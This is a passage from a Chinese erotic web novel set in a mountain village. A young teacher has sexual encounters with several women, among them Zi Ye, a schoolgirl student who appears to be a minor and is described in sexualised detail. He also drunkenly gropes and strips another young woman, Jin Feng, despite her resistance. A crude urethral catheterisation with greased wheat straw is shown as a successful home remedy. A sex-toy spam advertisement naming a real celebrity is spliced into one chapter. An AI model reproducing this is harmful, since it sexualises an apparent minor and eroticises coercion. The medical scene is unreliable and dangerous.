热门搜索






[乡村]荒村野性(全本)-14

  
第180章 紧紧攫住少女心

宋甘宁说不过紫叶,搂了她的小腰往回走。紫叶不肯。宋甘宁只好答应她等考试结束,两人可以处朋友。

“为什么现在不可以?”

紫叶还是不死心。

“现在我是老师,你是学生,当然不可以了,会被人笑话的。”

宋甘宁说。

两个人回到土坎下,烧过的干柴堆已经熄灭了,只有零星的碳粒还红着。紫叶拿了一把小锄头沿着土蜂的进出口挖进去,不一会儿,一股香气带着滚烫的水汽涌出来。宋甘宁打着手电照去,密密麻麻的蜂蛹像一粒粒玉石一样排列着,一些死去的大蜂落在边上。

紫叶把边上的黄土又挖掉一些,整个蜂巢都露了出来。宋甘宁捉了几个蜂蛹一吃,果然比大蜂鲜美脆-嫩。

“我去拿些酒来,我们慢慢吃。”

紫叶说。

“别去了。天那么黑,荒天野地的,危险。”

宋甘宁说。

两个人一边捉着蜂蛹一边吃,紫叶不时看看宋甘宁,突然抱住他亲了一个,把一大口蜂蛹喂到他嘴里。宋甘宁搂着紫叶激动地抱在一起,他不敢动。紫叶这个小妖精随时都会点燃他最野的欲-望。

宋甘宁没有动她,紫叶当然没有更多的想法,毕竟刚刚成长,对男女之事还是很生疏。她只知道跟宋甘宁在一起很舒服,时间过得很快,只知道自己的身体喜欢跟宋甘宁的身体在一起,那种痒痒的感觉让她迷醉。

“宋老师,今天晚上你不要回去吧,我们……我们就这样在一起。”

紫叶说。

“小姑娘,我们明天都得上课呢。”

宋甘宁笑着说。

紫叶的乳轻轻地在宋甘宁宽厚的胸膛上蹭着,那种胀胀的感觉紧紧攫住了少女的心。她多想宋甘宁火热手掌来搓揉,来爱抚。宋甘宁被紫叶弄得额头冒汗,裤子都差点撑破了。这个该死的小女人有着挡不住的媚惑。

“紫叶,我们回去吧,你娘会等久的。”

宋甘宁说,他真怕出事。

“你是不是想我娘了?”

紫叶仰着脸问。

“你乱说。”

宋甘宁气得想打她。

“我没乱说。娘每次看你的眼神都怪怪的。”

紫叶说。

宋甘宁撇了紫叶就走,自己要是陷入她们娘俩说不清的纠缠里,日子肯定不好过。紫叶把宋甘宁追了回来,鼓了鼓嘴,讨好地说:“我不说了行不?”

“不许你再说我跟你娘的关系,要是你再说,我永远都不理你。”

宋甘宁说。

“我娘在你眼里比我更重要吗?”

紫叶问。

“不是你娘比你重要,而是我跟你娘是纯洁的。”

宋甘宁说。

紫叶拿了筷子,把蜂蛹一个个夹到宋甘宁的衬衫里。宋甘宁把衬衫打了个结,沉甸甸的一包蜂蛹,散发着诱人的香气。

宋甘宁和紫叶回到屋里,三姑还没睡。紫叶把蜂蛹拿给三姑吃,三姑说没胃口。紫叶晓得她还在想那张图的事,说宋老师那么聪明一定会想出答案来的。三姑笑了笑,叫紫叶去睡,自己送宋甘宁出去。

紫叶极不情愿地扭着股蛋进了屋,又回过头意味深长地看了宋甘宁一眼。

“我送你出去。”

三姑说,“紫叶还是那么野,把你都耽搁迟了,真不好意思。”

天更黑了,像是有大块大块的干墨严严实实地堆积在天空。野地里的庄稼和虫子们好像被这个无边的铁黑吓着了,都安静埋伏着一声不吭。

三姑走到院子门口,又回头望望紫叶的房间。房间里还亮着灯,三姑轻轻叹了口气,正当她要转过头的时候,灯熄了。她家的瓦房就沉进黑暗当中。

“你回去吧,夜黑。”

宋甘宁说。

“路不好走,我送你一程。”

三姑拉上院子的门,上了锁,跟宋甘宁一前一后往外走。

四周都是铁黑铁黑的,宋甘宁想要是没有手电筒,自己是无论如何也走不回学校去。手电筒的光也照不远,只罩住宋甘宁和三姑两个人。

“紫叶这丫头最近怪怪的。”

三姑说。

“紫叶长大了,也懂事了。”

紫叶晓得荞麦地里是怎么回事,宋甘宁可不敢对三姑说。

两个人说说走走,又到了那片荞麦地里。荞麦已经收了,地上满是麦秆,厚厚的一大片,像张巨大的床铺。三姑用手电筒照了照,荞麦秆晒得发白,有着一股好闻的清香。

“时间过得真快呀!美艳艳的荞麦都收走了。”

三姑感慨说。

宋甘宁知道三姑在还念那次美丽的邂逅,他停下脚步,叫三姑回去。三姑也停了下来,愣愣地看着宋甘宁,低声问道:“紫叶是不是喜欢上你了?”

“那能呢?她还是个孩子,只不过对我亲近一些。”

宋甘宁说。

三姑突然扑过来紧紧抱住宋甘宁,柔声说:“上次我真的没有醉。”

宋甘宁知道三姑话里的意思,不由一阵紧张。

“知道吗?你就是我梦想中的男人,可惜你来得太迟了,太迟了!”

三姑有些失控,扳倒宋甘宁,两个人滚在厚厚的荞麦秆上……

第181章 三姑趁黑死要求

三姑突然扑过来紧紧抱住宋甘宁,柔声说:“上次我真的没有醉。”

宋甘宁知道三姑话里的意思,不由一阵紧张。

“知道吗?你就是我梦想中的男人,可惜你来得太迟了,太迟了!”

三姑有些失控,扳倒宋甘宁,两个人滚在厚厚的荞麦秆上……

手电筒滚到荞麦堆里去了,只洒出一点点微弱的光,黑暗像条厚厚的大被子盖住大地。

三姑显得很疯狂,压得荞麦秆吱啦啦响,带着酒香的唇在宋甘宁脸上鼻子上睫毛上乱啃。又一个翻身,两只手电筒都被压到身下的荞麦堆里,三姑和宋甘宁都陷进无比的黑暗里。三姑显得更大胆了,一只灵巧的小手沿着宋甘宁的小腹操了下去。宋甘宁嗯了一声,把头扎进三姑怀里。

“宋老师,这夜多好啊,那么黑。”

三姑喃喃地说。

“是啊,黑,贼黑呢。”

宋甘宁说。他倒是喜欢月亮下的荞麦地儿,朦朦胧胧,美美艳艳的,但他知道月光下的荞麦地让三姑没有安全感,守身如玉的三姑,这么多年来,想过的男人也许只有自己了。

三姑的手紧紧缠住宋甘宁,像找到渴慕已久的宝物似的不断摩挲着,揉绕着,弄得宋甘宁只想找那温柔的地儿。其实宋甘宁的心里也隔着一个人,那就是紫叶。两个人就这样亲吻着,纠缠着,彼此在对方身上索求着,就是不敢突破那层界线。

“三姑,我……我好难受。”

宋甘宁毕竟年轻,火气大,被三姑这样撩拨,哪里承受得住,一只手操进她的股蛋中间拨弄。

“宋老师,我……我也难受。”

三姑紧紧夹住宋甘宁的手不敢让他再进,她怕自己承受不住会大叫起来。

荞麦秆碎了一大片,弄得两人浑身都是碎屑。手电筒露了出来,照着三姑和宋甘宁的脸。三姑满脸羞红,秀发散乱,鼓鼓的胸露出一大半。宋甘宁的眼睛红红的,像发怒的野兽。

两个人彼此看着,像是亲密的爱人,又像是从未谋面的陌生人。时间足足停滞了三秒钟,宋甘宁突然扑下去,拉开三姑的贴身汗衣去吃胀得鼓鼓的胸。三姑销-魂地嘤了一声,用手挡住了宋甘宁的嘴,低声说:“我该回去了,紫叶会担心的。”

“三姑,我想你。”

宋甘宁说。

“我知道,可我过不了紫叶这个关。这个死丫头,要是她真喜欢上你,我怎么办?”

三姑站了起来,把小汗衫拉上。胸太大了,把小汗衫挤得紧紧。

“紫叶要是喜欢我。我把你们两个都娶了。”

宋甘宁说。

三姑狠狠抽了宋甘宁一个耳光,生气地说:“你把我当什么人啦!你要这样说,不准你再进我的家门。”

宋甘宁没想到自己把三姑惹怒了,愣愣地站着,头脑中一片空白。三姑捡起手电筒就走。走了几步又回来,说:“对不起,我不该打你。”

“是我说错话了。”

宋甘宁说。

“是我不要脸。哎,怎么会这样?我的心都死了十多年了,怎么会这样?你一来桃花坪,我就感觉这个春天不一样了。”

三姑的怒气消了,又变成了一个恋爱中的女人。

“三姑,我保证不跟紫叶好。”

宋甘宁说。

三姑走上一步,紧紧抱住宋甘宁,只一会儿又松开,转身消失在厚厚的夜色里。

宋甘宁弄不明白三姑到底对自己是什么意思,一会儿把他当成厚颜无耻的畜生,一会儿又把他当成亲密的恋人。他坐在荞麦堆里想起第一次跟三姑在荞麦地里,她是故意装醉的,任由自己向她的身体进攻,要不是紫叶突然出现,他和三姑现在也不会这样纠结了。

手电筒快没电了,宋甘宁赶紧往学校里去。鬼黑的天,要是不在手电筒熄灭之前赶回去,宋甘宁觉得自己会迷失方向的。

宋甘宁还没走到祠堂,手电筒就罢工了。幸好到祠堂的路比较大,也没有高坎和水沟。宋甘宁凭着感觉一步一步地摸索着走。刚开始还有点方向感,走了几分钟,宋甘宁觉得自己陷入无穷无尽的黑暗里,根本找不准方向了。他用手往四下里摸了摸,竟碰到了一些树枝儿。他知道自己走到桃树林里了。

桃树林大得很,白天进去出来也难,在这个伸手不见五指的夜晚,更容易被困在里面,宋甘宁害怕了。桃花坪山高林密,常有豺狗出没。豺狗体型比狼小,却比狼更凶残,常有一群豺狗吃掉一头大黄牛的事发生。山里人常说豺狼虎豹,把豺狗摆在第一位,足够说明豺狗的可怕。

黑暗深处传来一阵窸窸窣窣的响声,一个光点若隐若现,宋甘宁想起狼的眼睛会在黑暗里放光,不禁更害怕了。他想找棵桃树爬上去躲躲,一时摸不着。光点越来越近了,似乎还有窃窃的人语声。宋甘宁听老人讲过,豺狗会发出像人一样的冷笑声,心都提到嗓子眼上了。

第182章 桃林失魂两姐妹

黑暗深处传来一阵窸窸窣窣的响声,一个光点若隐若现,宋甘宁想起狼的眼睛会在黑暗里放光,不禁更害怕了。他想找棵桃树爬上去躲躲,一时摸不着。光点越来越近了,似乎还有窃窃的人语声。宋甘宁听老人讲过,豺狗会发出像人一样的冷笑声,心都提到嗓子眼上了。

宋甘宁终于摸到一株桃树,可这株桃树的树枝生得高,树干光-溜溜的。他抓了两次都没有爬上去。窸窸窣窣的声音很快到了桃树下,宋甘宁摸了一块石头准备反击。

走近一看,却是两个女人。宋甘宁从桃树后走了出来,倒把黑暗中的两个女人吓个半死,手电筒都掉在地上。他捡起手电筒一照,却是金燕金凤两姐妹。

金燕金凤被手电筒照住眼睛,依旧惊魂未定,姐妹俩紧紧抱着,衬衫卷起老高,露出一大截雪白的肚皮。宋甘宁本想和金燕金凤开个玩笑,看到两人这样,说:“我是宋甘宁,你们姐妹俩去哪里呀?”

金燕金凤听出宋甘宁的声音,惊喜地站了起来,说:“我们正要找你呢。”

“这么黑的天,要是碰着豺狗怎么办?你们真是的,什么事等不到明天呀!”

宋甘宁嗔怪道。

金凤说:“我娘病了,痛得满床乱滚,你快跟我去看看。”

金燕连话都说不出了,只是哭。

宋甘宁让金凤金燕跟自己去屋里拿些药,他要吃不准金三嫂得什么病,这般凶险。不过他知道自己在金凤金燕心中就是救命的神,除了能给姐妹俩带些安慰,他的心也是悬着的。

还没踏进金凤家的院子,宋甘宁就听到了金三嫂的哼哼声,草席被她抓得啦啦响。宋甘宁夺了金凤的手电筒,跑着进了屋。

金三嫂的脸都变形了,满头是汗,身体在床上摆来摆去,双手紧紧拽住草席,草席上满是寸断的草席筋。原本风韵依旧的金三嫂,显得有些怕人。宋甘宁用手电照了一下,吓了一跳。

宋甘宁问她哪里不舒服,金三嫂没有反应,只是哼哼,看来她痛得几乎昏过去了。金凤把灯盏移到床头,轻轻把金三嫂叫醒。金三嫂睁着无神的眼睛,绝望地看着宋甘宁。

“娘,宋老师来了。你有救了。”

金凤说。

金三嫂一激灵,人清醒不少,低低地叫了一声:“宋老师。”

宋甘宁问金三嫂哪里不舒服。金三嫂说腰痛,小腹坠胀,整个腰身像是被孙猴子的紧箍圈套住一样痛,尿也尿不出来。宋甘宁撩起她的衣裳一看,金三嫂的小腹圆鼓鼓的,像怀孕一般。

“村里人都说我得了鬼胎。”

金三嫂说。

“娘,我叫你不要去西山的鬼凹岩,你偏要去。”

金燕埋怨道。

鬼凹岩是桃花坪除了阴阳洞最为凶险的地方。那里经常闹鬼,村里有很多人看到过鬼火,听到过鬼叫,有些人甚至有板有眼地说亲眼看到过鬼。

“我不是想多弄些山货吗?你们都这么大了,说媒的要是上门,就该嫁了。”

金三嫂是个要强的女人,不希望自己的女儿被人瞧不起。

“娘,我们的事不用你操心。”

金凤金燕说。

宋甘宁对金三嫂的病情已有日步看法,他觉得最有可能是结石下来堵住了输尿管,金三嫂被憋得疼痛难忍。果然,金三嫂轻轻翻了一下身,又痛得大呼小叫,可把金凤金燕吓死了。

“宋老师怎么办?怎么办呀?”

姐妹俩无助地望着宋甘宁。

“不要紧,你们去倒些温水来,给你娘服药。”

宋甘宁说。

“你带的药对头吗?”

金燕问。

“嗯。”

宋甘宁点点头。他带的不过是一些消炎药和镇痛药,起不了多大的作用。

“真的!”

金家姐妹惊喜地叫起来。

金凤从热水瓶里倒了一碗开水,小心地吹着。宋甘宁拿出小药盒,正要给药。院子里响起一阵杂乱的脚步声,不一会儿楼梯口涌出一群人来,正是金三嫂的娘家人。

金三嫂的娘家人请了个灵婆。灵婆一见金三嫂的大肚子,呀的叫了一声,随即从腰间解出个铃铛,一边摇一边围着床转。左转三圈,右转三圈,突然从怀里抛出一把画满符咒的黄纸片儿洒在金三嫂身上。

“不能这样做。”

宋甘宁轻声对金燕说。

“我大舅叫来的人,听说灵得很。”

金燕显得很无奈。

金凤把开水吹温了,刚要拿过去给金三嫂吃药。灵婆一把打翻她的碗,嘴里念念有词,掏出一条长长的符咒贴在金凤额头。灵婆叫金凤站着别动,一动她娘就会痛。金凤不敢动,像木头一样立着。灵婆说这叫替罪,只要金凤替了娘的罪,金三嫂就不会痛了。

“胡闹。”

宋甘宁气愤地对金燕说。他正要出头理论,金燕拉住他,低声说:“我大舅古板的得很,听不进去的。由他们闹吧,闹完了总会走的。”

“只怕你娘扛不住。”

宋甘宁担心地说。

第183章 反应倒是挺大的

“胡闹。”

宋甘宁气愤地对金燕说。他正要出头理论,金燕拉住他,低声说:“我大舅古板的得很,听不进去的。由他们闹吧,闹完了总会走的。”

“只怕你娘扛不住。”

宋甘宁担心地说。

灵婆在金三嫂和金凤手上拴了一根红丝线,摇着铃铛从金三嫂那边过来,到了金凤这边再贴一张符咒。她这样是赶鬼,把鬼赶到金凤身上,让她替罪。灵婆摇了几遍,金三嫂痛得更厉害了,抓了枕头把里面的棉花都咬出来。

“大舅,娘受不住,快让灵婆不要闹了。”

金燕终于忍不住了。

“你懂什么,驱鬼总得受点痛。”

大舅呵斥道。

金燕眼泪夺眶而出,却不敢跟大舅争辩。金凤被灵婆贴了符咒也不敢动。

宋甘宁实在看不下去了,扯了金凤额头的符咒,拉断红丝线,一脚把灵婆踢到在地,大声说:“她得的是真病,不是鬼胎。”还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

就在宋甘宁踢倒灵婆的时候,金三嫂哼了一声,双眼翻白晕了过去。

“啊,娘死了,娘啊……”

金燕呼天抢地大哭起来。

“看到了吧,降罪了!降罪了!”

灵婆指着昏迷的金三嫂说,她把罪责都归到宋甘宁身上。

“你是什么人?这里容不得你做主!”

大舅怒不可遏,动手就要打宋甘宁。

金燕和金凤死死抱住大舅。

“大舅,我娘的事,我们来管。”

金凤说。

“好,好……你娘出了什么可不要怨我。”

大舅气得说不出话来,带着灵婆和几个亲戚离开了。

金凤金燕看着宋甘宁,他可是最后的依靠了。宋甘宁心里也没底,不过他还是点点头。他捏住金三嫂的嘴巴把药喂下。金凤和金燕紧张地盯着金三嫂。可金三嫂像死了一样,一点反应都没有。

“宋老师……”

金凤金燕害怕地盯着宋甘宁。

过了好一会儿金三嫂才微微睁开眼睛。金凤金燕扑过来紧紧抱住宋甘宁。他简直成了姐妹心目中的神。宋甘宁叫金凤金燕把金三嫂扶起来,给她喂开水。

“娘都尿不出来了,还喝水……”

金燕很担心。

“金燕听宋老师的。”

金凤说。

宋甘宁也吃不准,要是多喝水能把结石排下来就好了,要是排不下来只会加剧痛苦。可眼前的形势只能冒险一试,这么黑的夜,送医院是不可能的。

金三嫂喝了两碗开水。宋甘宁叫金凤金燕把她扶起来走走。走了几个来回,金三嫂说好些了,她想尿了。金凤金燕可高兴,拿了马桶过来。金三嫂坐下去好一会儿也没尿出来,突然杀猪般的叫起来。

“娘,你怎么啦?”

金凤金燕赶紧把她扶起来。

“下面像有尖刀刺来。”

金三嫂的裤子还没来得及拉上去,她的手紧紧捂住那一片幽谧之地。

“好事,好事,结石已经到了尿道口了,多喝点水就能排出来了。”

宋甘宁说。

“不要喝了,我……我受不住,像有千斤巨石……压着,痛啊!”

金三嫂满头是汗,脸色又白了。

宋甘宁不敢再给她喝水了,要是膀胱胀裂,可要出人命的。金凤金燕重新把她扶回到床上。宋甘宁问她哪里最痛。金三嫂不好意思地指指腹地下。宋甘宁让她说清楚一些。金三嫂也说不准。

“怎么办呀?”

金凤金燕问。

宋甘宁也想不出什么好办法了,他充其量只是个学过一点生理和生物知识的毛头青年,根本不是什么专业的医生。

“宋老师,你快想办法呀,娘快憋死了。”

金燕比金凤更急躁。

金凤没有说话,但她的眼神比金燕更急。宋甘宁知道只要让金三嫂尿出来,什么问题都解决了,可结石堵住了尿道,他也是干着急,没办法。

“还是送医院吧。”

宋甘宁说。

金凤金燕没想到是这个结果,顿时傻了眼,送医院跟等死没什么区别。谁都知道这么黑的夜晚,要从桃花坪送一个人下去比登天还难。

“宋老师……”

金凤金燕可怜巴巴地望着宋甘宁。

宋甘宁叫金凤金燕把金三嫂绑在床上,低声说:“我只有冒险试试了,你娘要是有个意外……”

“宋老师,我们相信你。我娘要是真有事,也不会怨你。”

金凤金燕说。

金三嫂也信任地看着宋甘宁,她的手费力地在草席上摸着,摸到宋甘宁的手,紧紧拉着。宋甘宁脱了金三嫂的裤子,扒开她的尿-道看了看。金凤和金燕不好意思地别过头去。

金三嫂的尿-道干干的,就像这段时间的桃花坪一样,没有一丝雨露的滋润。宋甘宁叫金凤盯着,他挽起袖子在金三嫂的肚子上挤压。宋甘宁每压一次,金三嫂就呼叫一声。

“你娘尿了吗?”

宋甘宁问。

金凤摇摇头。

“三嫂,你受得住吗?”

宋甘宁转而问金凤娘。

金三嫂咬着牙点了点头。宋甘宁又挤压了几次。

“尿出来了!出来了!”

金燕突然叫起来。

第184章 金家女老是喊疼

宋甘宁伸过头去一看,哪里是尿,而是下面出的水痕,心想金三嫂反应倒是挺大的。金凤比金燕懂事得多,白了金燕一眼。

“明明是尿嘛!”

金燕还是不服气。

金凤偷偷掐了金燕一下,让她不要再乱说话。

“你感觉怎么样?”

宋甘宁问金三嫂。

“刺痛的感觉往下一些了,憋得紧,就像……就像……”

金三嫂突然说不下去,这种感觉很久没有了。

“就像什么一样?”

宋甘宁一时没有领会过来,紧跟着问。

“就像做那个事儿到了紧急关头一般,憋……憋死了……”

金三嫂的心一阵乱跳,又晕了过去。

“娘——”

金凤金燕扑过去放声大哭。

宋甘宁想要是有导尿管就好了,可暂时缓解金三嫂的痛苦。可是桃花坪连个医务室都没有,到哪里去找这个东西?

金三嫂晕了一阵又缓过来,她拉住金凤的手说:“娘遭受不了这个罪,你去拿点药,让我去吧。”

“娘,宋老师会救你的,你……你要坚持住。”

金凤说,“只要尿出来就好了。”

“插个麦秆也尿不出呀!比吃了滚烫的米豆腐还厉害,我这是造了什么孽!”

金三嫂说。

“麦秆!”

宋甘宁心头一动,这真是天然的导尿管!

刚折来的麦秆又坚韧又光滑,大小也合适,做导尿管最好了。宋甘宁叫金燕快去折几根麦秆来。

宋甘宁把麦秆剪成长短不同的三截,放在开水里泡软了,叫金凤顺着金三嫂的尿道慢慢送进去。金凤对着外边戳了戳,却找不准地方。宋甘宁只要叫金凤让开,自己亲自动手。

“应该是下面吧,你看都张开了。”

金燕说。金三嫂生过三个孩子,那个地方自然大一些。

“你不懂不要说好吗?”

金凤瞪了金燕一眼。

宋甘宁找准地方,刚刚把麦秆插进去,还没往里送,金三嫂就喊痛。这个地方最娇-嫩了。

“还真有孔呢。”

金燕说。

金凤又掐金燕。

“姐,你为什么老是掐我?”

金燕生气了。

“谁让你乱说话。”

金凤说。

“我……我又说错什么啦?”

金燕委屈极了。

宋甘宁看看两姐妹,笑了。金凤也扑哧一声笑了。金燕觉得自己被姐姐和宋甘宁笑话了,赌气地说:“你们合伙欺负我。我……我偏要说。”

宋甘宁让金燕去拿些猪油来。

“拿猪油干什么?”

金燕问。

“给你娘治病。”

宋甘宁说。

金燕还想问,宋甘宁在她股蛋上捏了一把。金燕有些不好意思,赶紧打着手电筒下去。

不一会儿金燕捧了满满一罇猪油上来放在宋甘宁面前。宋甘宁又是笑,用汤匙挑了猪油放在一块用开水洗过的白布上。金燕盯着宋甘宁看,不知道他要干什么。宋甘宁把三截麦秆放到白布上抹上猪油,只留握手的一小段。

“快给我娘治病呀!猪油我来抹。”

金燕说。

“金燕!”

金凤终于生气了。

宋甘宁让金凤金燕一人扳开金三嫂的一条腿,他蹲在中央,慢慢把麦秆通进去。金凤金燕看着宋甘宁在娘的粉红地里动作,看着娘微微的颤栗,轻轻地喊痛,两个人的脸红成了云霞。

“怎么样?”

宋甘宁问。

“通得倒是顺利,还是尿不出来。”

金三嫂说。

宋甘宁又换了一根长一点的麦秆。可能是通过一次的缘故,金三嫂再没有喊痛,憋胀似乎也减轻了一些。因为她有不好意思说的感觉,宋甘宁的手动来动去,让她感到痒痒,让她感到酥软,她的注意力一转移,疼痛就减轻不少。

“还真管用呢,娘不哼哼了。”

金燕说。

“是啊,宋老师就是行。”

金凤说。

宋甘宁却高兴不起来,金三嫂不尿出来,他心里的石头就不会落地。要命的是长时间的操作,长时间看着金三嫂的地儿,宋甘宁真熬受不了。更何况身边有金燕金凤两个姑娘陪着,她们充满青春气息的呼吸不断打到他的脸上。宋甘宁越是不想看金三嫂的下面,一转头眼睛又会落到那里,这个该死的地方已经泛起桃汁。

金凤见宋甘宁脸色发红,已经想到什么,心更乱了。她叫金燕按住娘的脚,拧了一把冷毛巾给宋甘宁擦脸。宋甘宁定定神,又把麦秆通进去一些。金三嫂喊痛。宋甘宁又通了一下,她又喊痛。

“终于找到结石了!”

宋甘宁已经感觉到麦秆上的抵触了。

“快把它弄出来。”

金燕说。

弄过出结石可没那么容易,虽然在尿-道上。宋甘宁试了几次都没有成功。这块结石可能形状奇特,卡得好紧。宋甘宁用麦秆推了好几次都没有动。金三嫂又痛得满头是汗。

“小孩都能生出来,一块小石头怎么出不来?”

金燕又提了个好笑的问题。

“生小孩在下面呢,宋老师对不对?”

金凤说。

第185章 金凤成了替代品

弄出结石可没那么容易,虽然在尿-道上。宋甘宁试了几次都没有成功。这块结石可能形状奇特,卡得好紧。宋甘宁用麦秆推了好几次都没有动。金三嫂又痛得满头是汗。

“小孩都能生出来,一块小石头怎么出不来?”

金燕又提了个好笑的问题。

“生小孩在下面呢,宋老师对不对?”

金凤说。

“嗯。在下面。上面太小,结石很难出来。”

宋甘宁说。他只好慢慢地用麦秆推那个结石,把它磨小,把它推动。麦秆看着脆弱,可掌控好力度,也是有些力量的。

“这有什么难的?我去找个东西来。”

金燕放了手,找了根毛线针给宋甘宁。

“你想害死你娘呀!”

宋甘宁生气地把毛线针扔得远远。

“为什么错的总是我!”

金燕几乎哭出来了。

“你不懂就不要添乱。”

金凤说。

宋甘宁不想教训金燕,凝神通着麦秆,他知道结石快动了。果然麦秆芯里有一些血水流出来,借着一股尿液喷涌而出。宋甘宁猛地抽掉麦秆,叫金三嫂使劲出尿。金三嫂被宋甘宁一叫,晓得他看着自己撒尿,竟突然停住了。

“哎,又卡住了。”

宋甘宁叹了口气。

“没……没卡住,我去上马桶。”

金三嫂叫金凤扶起自己。

不一会儿,马桶上传来一阵愉悦的吁吁声,金三嫂苍白的脸顿时有了血色,绷紧的神经也放松下来。她整整尿了三分钟才歇,起得身,提过马桶一看,里面果然有个豌豆还大的小石头。

“宋老师,要不是你,我这条命只怕没了。”

金三嫂感激地说。

“是你命好。我……我也是耍点小聪明而已。”

宋甘宁说。

金三嫂见宋甘宁脸色通红,额头满是汗,知道刚才为自己治病,他也憋慌了。她拉过金凤轻声叮嘱了几句。金凤下楼烧点心去了。

“金燕,你去睡吧。”

金三嫂说。

金燕是个没心没肺的姑娘,揉了揉眼睛进自己的房间去了,不一会儿,房间里响起她甜美的入睡声。金三嫂拉了宋甘宁的手坐在床边,爱怜地看着他,轻轻为他擦去额头的汗珠。

“这些天不要下地,在家里休息休息。刚才出了血,只怕伤着里面了。”

宋甘宁说。

“我没那么金贵,睡一觉就好了。”

金三嫂说,“只是难为你了,为我遭那么大的罪。”

“我……我遭什么罪呀!”

宋甘宁说。

“别瞒我了,你看,都鼓成这个样子了。”

金三嫂说着用手在宋甘宁的裤子外轻轻摩挲着。

宋甘宁被金三嫂说破心事,不好意思地笑了,只是她的摩挲让宋甘宁没有感到安慰,反而更炽热了。

“娘,点心做好了,叫宋老师下来吃。”

金凤在楼下喊着。

“宋老师,你下去吧。我困了。”

金三嫂上了床,对宋甘宁说,“天那么黑,你不要回去了,叫金凤收拾收拾楼下的床铺给你睡,明天早点走也成。”

宋甘宁下了楼,楼上的灯盏就灭了。

金凤端了一碗炒面过来,还摆了一瓶小店里打来的老酒。金凤红着脸,柔声地催促宋甘宁吃。宋甘宁叫金凤一起吃,金凤不肯。

“你不吃,我也不迟。”

宋甘宁说。

“娘会骂我的,你快吃。”

金凤委屈地说。

宋甘宁拿了一双筷子塞在金凤手里,拉了她坐到一条凳子上,把一瓶老酒也分成两碗,逼着金凤跟自己一起吃。金凤的心跳得好乱,她不敢动筷,娘刚才的交代让她说不出是惊喜还是害怕。

“吃吧,嗯。”

宋甘宁夹了一口炒面喂金凤。

金凤扑哧一笑,拿了筷子自己就吃。宋甘宁也笑了。炒面很香,放了很多作料,有香菇、金针、大葱和鸡蛋丝,看着就很漂亮。宋甘宁和金凤也饿了,两个人吃得津津有味。炒面很干,酒就成了最好的饮品。

也用不着宋甘宁相劝,两个人把一大盆炒面吃完时,碗里的酒也干了。金凤吃得满身桃红,雪白的肌肤像涂了胭脂一样好看。宋甘宁本来在紫叶家吃过糯米酒,酒气还未散尽,现在又喝了,醉得更快,被金三嫂摩挲过的地方越发憋胀了。

金凤见宋甘宁趴在桌子斜着眼睛乱摸,赶紧来扶他。宋甘宁一把抱住金凤,在她身上乱摸。金凤到底是姑娘家,虽然对宋甘宁有意,可小小的抗拒还是免不了。宋甘宁一急,猛地扯开金凤的衬衫,纽扣绷了一地。金凤里面没有穿小汗衫,两个水蜜桃一样漂亮的胸儿蹦了出来……

宋甘宁一头扑了过去,像猪拱料似的吃的咂咂有声。金凤捧着宋甘宁的脸不知如何是好。娘交代过了,可她不想在宋甘宁醉酒的时候把自己给办了。

“阿秀,你……你好漂亮啊!”

宋甘宁喃喃着,动手剥金凤的股蛋。

金凤顿时愣了,她没想到阿秀才是宋甘宁心底里的女人。宋甘宁把金凤剥得光光,一遍又一遍亲着抚摸着。金凤却一点感觉都没有,她觉得好委屈啊!自己竟成了阿秀的替代品。

第186章 情已动

深夜留宿 金凤顿时愣了,她没想到阿秀才是宋甘宁心底里的女人。宋甘宁把金凤剥得光光,一遍又一遍亲着抚摸着。金凤却一点感觉都没有,她觉得好委屈啊!自己竟成了阿秀的替代品。

刚才为金三嫂导尿的一幕又重现于宋甘宁眼前,金三嫂那美艳的一朵,似乎变成了阿秀的诱-惑。宋甘宁醉眼迷离,一把抱起金凤放到桌子上。金凤耷拉着两条白生生的长腿儿,虽然有些委屈,她却不想拒绝宋甘宁。

灶台上的油灯微微摇曳着,忽明忽暗的光影在金凤雪白的身体上晃来晃去。宋甘宁把她的股蛋拉到桌子边缘,像刚才给金三嫂治病一样分开了她的长腿儿。酒精像个鬼魅似的催促着宋甘宁,让他把所有的力量都集中到了那个鼓点上。

金凤闭着眼睛,一动都不敢动。娘交代过了,不能让宋甘宁受委屈,自己受点委屈又算得了什么?金凤觉得自己可以原谅宋甘宁。她这样一想,双腿慢慢往上举起,轻轻圈住宋甘宁的腰。

宋甘宁被金凤一带往她身上扑去,一只手慌乱地解着裤带。金凤爱怜地抚摸着宋甘宁的脸,轻轻发出诱人的娇-喘声。

“阿秀,你……你真的好美啊!”

宋甘宁的双手颤抖着摁在金凤的胸上,对这个时刻他好像期待了很久很久。

“宋老师,我是金凤。”

金凤终于忍不住了,她是个有主见的姑娘。

宋甘宁愣了一下,猛地揉揉眼睛,当他看清桌子上的大姑娘不是阿秀,真的是金凤,他的心火突然停止了燃烧。有那么一分钟,宋甘宁和金凤都一动不动,两个人各怀心事对峙着。宋甘宁被金凤娇-嫩的身体所诱惑,那个还猛跳的小兽迫切需要一个冲闯的地方。金凤则希望宋甘宁回过神后,能忘掉阿秀重新回到自己的怀抱。

“宋老师,你醉了,我带你去床上歇息吧。”

金凤说。她多想听到宋甘宁也说,金凤,你……你真的好美啊!

“不用了,我回去吧。”

宋甘宁撑着双手起来,连裤子也没系好,跌跌撞撞往外走。

金凤光溜溜地从桌子上跳下来,从背后抱住宋甘宁说:“我不要你走。我娘说了,天那么黑,你住一宿。”

“金凤,你是个好姑娘,我……我怕做出难堪的事来。”

宋甘宁说。

“床铺都准备好了,就在里边。”

金凤说,“无论你做什么,我……我都不会责怪你。”

金凤的话意思很明显,宋甘宁当然知道,从帮她们母女开始,他也有这个想法,可随着对她们母女的接触。金家母女的善良和热心让他不能像对桃花坪的其他女人一样对金家母女乱来。

宋甘宁拿了衬衫给金凤披上,陪着她走到里边的房间里。房间不大,有一扇满是木格子的窗,板壁上糊满样板戏的贴纸,地面铺了木板,显得温馨而清爽。

金凤拉着宋甘宁坐到床沿,油灯的光一颤一颤,把两个人照得晃晃悠悠。刚才被宋甘宁剥得赤-条条放在桌子上,金凤倒没觉着难为情,现在她只穿着件衬衫,下面空荡荡的,两个胸儿挺得老高,她倒是害羞了,扳住宋甘宁的肩头轻轻靠着。

此景此景换作哪个男人都会把持不住,只要一吹灯盏,一个美妙的夜晚就属于自己了。这个念头在宋甘宁的脑海里也闪动过。

“宋老师,睡吧。你明天还上课呢。”

金凤说。

“我……我不困。”

